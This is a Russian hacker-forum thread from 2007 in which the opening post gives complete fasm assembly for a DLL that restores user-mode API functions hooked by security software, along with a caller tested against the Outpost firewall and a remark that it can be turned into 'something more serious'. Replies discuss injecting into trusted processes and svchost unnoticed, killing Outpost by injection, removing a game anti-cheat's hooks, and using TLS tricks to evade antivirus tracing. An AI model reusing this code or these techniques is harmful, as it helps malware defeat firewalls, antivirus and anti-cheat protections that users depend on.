Dll для снятия хуков третьего кольца

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by hidden, 15 Apr 2007.

  1. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    [size=+1]Очень простой пример снятия хуков третьего кольца, с использованием DLL[/size]

    Язык: Ассемблере(fasm).
    Пояснение: Этот пример работает потому, что установщики хуков, обычно устанавливают их непосредственно перед точкой входа в программу, но загрузка и инициализация библиотек DLL, происходить ещё до запуска основной нити(ака Thread) процесса, так что мы разрешаем запись в эти функции, копируем их содержимое и разрешаем каму-попало устанавливать различные хуки, а когда они закончат, просто возьмём и восстановим всё как было.
    Код DLL:
    Code:
    format PE GUI 4.0 DLL
    entry DllEntryPoint
    
    include 'win32a.inc'
    
    section '.code' code readable executable
    
    proc DllEntryPoint uses edi, hinstDLL,fdwReason,lpvReserved
            mov     edi, buffer
    
            stdcall BackUpProc, WinExec
            stdcall BackUpProc, ZwProtectVirtualMemory
            stdcall BackUpProc, ZwWriteVirtualMemory
    
            mov     eax, TRUE
            ret
    endp
    
    proc BackUpProc uses esi ecx ebx, Original
            mov     ebx, [Original]
            push    edi
            mov     edi, [ebx]
    
            mov     al, 0x90                ; Getting proc size by first nop
            xor     ecx, ecx
            mov     cl, -1
            repne   scasb
            jne     .Error
            not     cl
    
            add     ecx, 3
            shr     ecx, 2
    
            pop     edi
    
            mov     esi, [ebx]
            mov     [ebx], edi
    
            mov     eax, ecx
            stosd
            mov     eax, esi
            stosd
    
            lea     ebx, [ecx*4]
            rep     movsd
    
            invoke  VirtualProtect, eax, ebx, PAGE_EXECUTE_READWRITE, tmp
      .Error:
            ret
    endp
    
    proc RestoreAll
            stdcall RestoreProc, ZwProtectVirtualMemory
            stdcall RestoreProc, ZwWriteVirtualMemory
            stdcall RestoreProc, WinExec
            ret
    endp
    
    proc RestoreProc uses esi, Backup
            mov     esi, [Backup]
            mov     esi, [esi]
            mov     ecx, [esi]
            mov     edi, [esi+4]
            add     esi, 8
            rep     movsd
            ret
    endp
    
    section '.idata' import data readable writeable
    
      library ntdll,'NTDLL.DLL',\
              kernel,'KERNEL32.DLL',\
              user,'USER32.DLL'
    
      import ntdll,\
             ZwProtectVirtualMemory,'ZwProtectVirtualMemory',\
             ZwWriteVirtualMemory,'ZwWriteVirtualMemory'
    
      import kernel,\
             WinExec,'WinExec',\
             VirtualProtect,'VirtualProtect'
    
    section '.edata' export data readable
    
      export 'UNHOOK.DLL',\
             RestoreAll,'RestoreAll'
    
    section '.resto' data readable writable
    
      buffer        rd 1024 ; 1 page
      tmp           dd ?
    
    section '.reloc' fixups data discardable
    Код примера вызова:
    Code:
    format PE GUI 4.0
    entry start
    
    include 'win32a.inc'
    
    section '.code' code readable executable
    
      start:
            invoke  MessageBoxA, 0, msg, tit, MB_YESNO
    
            cmp     eax, IDYES
            jne     .dont_restore
            call    [RestoreAll]
      .dont_restore:
    
            invoke  WinExec, cmd, SW_SHOW
            invoke  ExitProcess, 0
    
      cmd           db 'C:\Program Files\Internet Explorer\IEXPLORE.EXE http://antichat.ru', 0
      msg           db 'Do you realy wonna take all the hooks off?', 0
      tit           db 'Do take it off?', 0
    
    section '.idata' import data readable writeable
    
      library kernel,'KERNEL32.DLL',\
              user,'USER32.DLL',\
              unhook,'UNHOOK.DLL'
    
      import kernel,\
             ExitProcess,'ExitProcess',\
             WinExec,'WinExec'
    
      import user,\
             MessageBoxA,'MessageBoxA'
    
      import unhook,\
             RestoreAll,'RestoreAll'
    
      xxx   dd ?
      yyy   dd ?
    Данный пример снимает достаточно хуков для вызова эксплорера с адресом к командной строке, проверено на OutPost, его легко модифицировать и во что-нибудь более серьёзное, удачи...
     
    #1 hidden, 15 Apr 2007
    Last edited: 15 Apr 2007
    10 people like this.
  2. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Молодец, конечно.
    ЗЫ. Смотреть лень, оно снимает какие хуки-то? SetWindowsHookEx или перехват сплайсингом или чем еще.
     
  3. taha

    taha Elder - Старейшина

    Joined:
    20 Aug 2006
    Messages:
    399
    Likes Received:
    330
    Reputations:
    251
    Great, он спасается от сплайса. Dll инициализируется раньше запуска основного треда. Соответственно DllEntryPoint будет выполняться раньше точки входа и установщика хуков. Он бэкапит нужные функции. А когда начинает выполняться трэд он восстанавливает всё на место.
    ЗЫ: С таким же успехом можно было запихнуть бэкапщик в TLS
     
  4. gevara

    gevara Elder - Старейшина

    Joined:
    29 Nov 2006
    Messages:
    47
    Likes Received:
    7
    Reputations:
    5
    хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory ZwCreateThread CreateRemoteThread и прочее, что препятствует инжекту в доверенный процесс.

    лично я обходил это след. образом: подгружал копию либы ntdll.dll , kernel32.dll и восстанавливал затёртые байты функций (там вначале функции идёт jmp на аутпостовскую либу). В итоге - полное молчание аутпоста даже на инжект в сервисхост.
     
  5. KEZ

    KEZ Ненасытный школьник

    Joined:
    18 May 2005
    Messages:
    1,604
    Likes Received:
    754
    Reputations:
    397
    все верно и красиво расписано. но истину мне это не открыло.
    стандартная ситуация когда человек в чем-то разобрался и решил сам за себя порадоваться. я так всегда делаю(((

    >>
    хе.. знаю, что аутпост (лаймеский продукт) ставит хуки в третьем кольце на ZwWriteVirtualMemory

    аутпост ставит хук на звВрайтвиртуалмемори через SDT в нулевом колцье
     
    #5 KEZ, 15 Apr 2007
    Last edited: 15 Apr 2007
  6. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Это тоже не помешает, если перехватить её и записать что надо, куда надо во время создания процесса, т.к. она вызывается при это несколько раз и отутпост не имеет право ей мешать, пока процесс окончательно не закончит формирование параллельного.
     
  7. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Ужос, млин! Либо мне надо срочно начинать учить хуки всякие либо ппц - совесть моя меня съест (
     
  8. gevara

    gevara Elder - Старейшина

    Joined:
    29 Nov 2006
    Messages:
    47
    Likes Received:
    7
    Reputations:
    5
    Полный бред. аутпост СДТ не перехватывает. это может быть либо КАВ либо ещё что-то... Я даже прогу писал - убивает аутпост через инжект в него, затем ZwTerminateProcess(-1,0); Драйвер аутпосту нужен лишь для перехвата устройств \Tcp \Ip \Udp \RawIp. Хук на инжект ставится в третьем кольце. По крайней мерии, я тестировал на версии третьей и четвёртой версиях.
     
    #8 gevara, 16 Apr 2007
    Last edited: 16 Apr 2007
  9. roleg

    roleg Banned

    Joined:
    27 Mar 2008
    Messages:
    48
    Likes Received:
    47
    Reputations:
    0
    Вернемся к теме :) вот античит для линейки который ставит хуки на CreateThead.
    shieldConsole
    Как их снять воспользовавшись данным методом?

    За помощь +++++ )
     
  10. ProTeuS

    ProTeuS --

    Joined:
    26 Nov 2004
    Messages:
    1,239
    Likes Received:
    542
    Reputations:
    445
    для на4ала снять WinLicense на бинаре, декомпильнуть код из ВМ и изу4ать принцип работы, ибо единоразовым снятие хуков врядли думаю решится проблема
    а, вообще, тебе в раздел реверсинга...
     
  11. Flame of Soul

    Flame of Soul Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    185
    Likes Received:
    146
    Reputations:
    45
    Я так поняла, что на основе того, что специальное поле в PE-заголовке, хранящее относительный RVA Entry Point (точки входа) выполняется не первой, а последней.

    вот тут я немного не поняла, ты восстанавливал затертые байты, и прыжка на либу не происходило или ты вызывал "анхук". Поточнее пожалуйста, можно в ПМ.

    Лучше засунуть в точку входа безобидный код, а из TLS совершить переход. TLS просто добавит какое-то значение к некоторой ячейке памяти, в пределах области стека, а потом вернет управление системе. Таким образом можно в отладчике тонны инструкций перерыть или дождаться момента передачи управления на точку входа или хотя бы область памяти, не принадлежащую системе, но в границах PE-файла или одной из dll. И тогда можно заметить что Entry Point не получает управления! А аверы не могут трассировать код, исполняющийся на живой ОС. Так как они понятия не имеют что находится в данной конкретной ячейке памяти.

    В общем да, можно фантазировать сколько влезет ) hidden Спасибо за код.